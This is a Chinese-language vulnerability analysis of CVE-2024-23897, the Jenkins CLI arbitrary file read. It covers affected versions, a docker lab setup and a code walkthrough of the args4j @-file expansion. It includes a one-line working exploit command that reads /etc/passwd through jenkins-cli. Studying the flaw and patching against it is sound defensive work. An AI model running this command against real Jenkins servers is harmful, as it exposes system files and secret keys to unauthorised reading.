CVE-2024-23897 Jenkins 未授权任意文件读取漏洞分析
2024-2-22 16:18:51 Author: www.freebuf.com(查看原文) 阅读量:27 收藏

freeBuf

主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

漏洞描述

Jenkins 是基于 Java 开发的一种持续集成工具。2024年1月25日,Jenkins 官方披露 CVE-2024-23897 Jenkins CLI 任意文件读取漏洞。Jenkins 受影响版本中使用 args4j 库解析CLI命令参数,攻击者可利用相关特性读取 Jenkins 控制器文件系统上的任意文件(如加密密钥的二进制文件),并结合其他功能等可能导致任意代码执行。

影响版本

Jenkins weekly <= 2.441
Jenkins LTS <= 2.426.2

环境搭建

docker 起

docker pull bitnami/jenkins:2.426.2-debian-11-r3  
docker run -e "JAVA_OPTS=-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=0.0.0.0:5005" -d --name jenkins -p 8081:8080 -p 8777:5005 bitnami/jenkins:2.426.2-debian-11-r3

管理员账号密码为:user/bitnami

漏洞分析

官方通告 https://www.jenkins.io/security/advisory/2024-01-24/

在处理 CLI 命令时,Jenkins 使用 args4j 库来解析 Jenkins 控制器上的命令参数和选项。这个命令解析器有一个功能,可以用文件的内容(expandAtFiles)替换参数中的 @ 字符和文件路径。此功能默认启用

接下来看一下 Jenkins 的 CLI 命令是什么 https://www.jenkins.io/zh/doc/book/managing/cli/

image

这里基本上已经可以打了,很简单的一个洞

java -jar jenkins-cli.jar -s http://192.168.80.139:8081 who-am-i '@/etc/passwd'

patch

https://github.com/jenkinsci/jenkins/compare/jenkins-2.441...jenkins-2.442#diff-5918f52b773cba16c7e0a74e139d637ae4b4f59e18435f1f1dc137979a46ae4c

断点下在CLICommand#getCmdLineParser

image

先获取到参数,往下看,判断了当前的指令类型

image

跟进parseArgument()对参数进行处理,getAtSyntax 默认为 true,跟进expandAtFiles方法

image

后面就很明显了,判断参数是否为@符号开头,随后任意文件读取

image

image

小结

很简单的一个洞,因为是库的问题,所以其他很多系统中也有相同的问题


文章来源: https://www.freebuf.com/articles/web/392319.html
如有侵权请联系:admin#unsafe.sh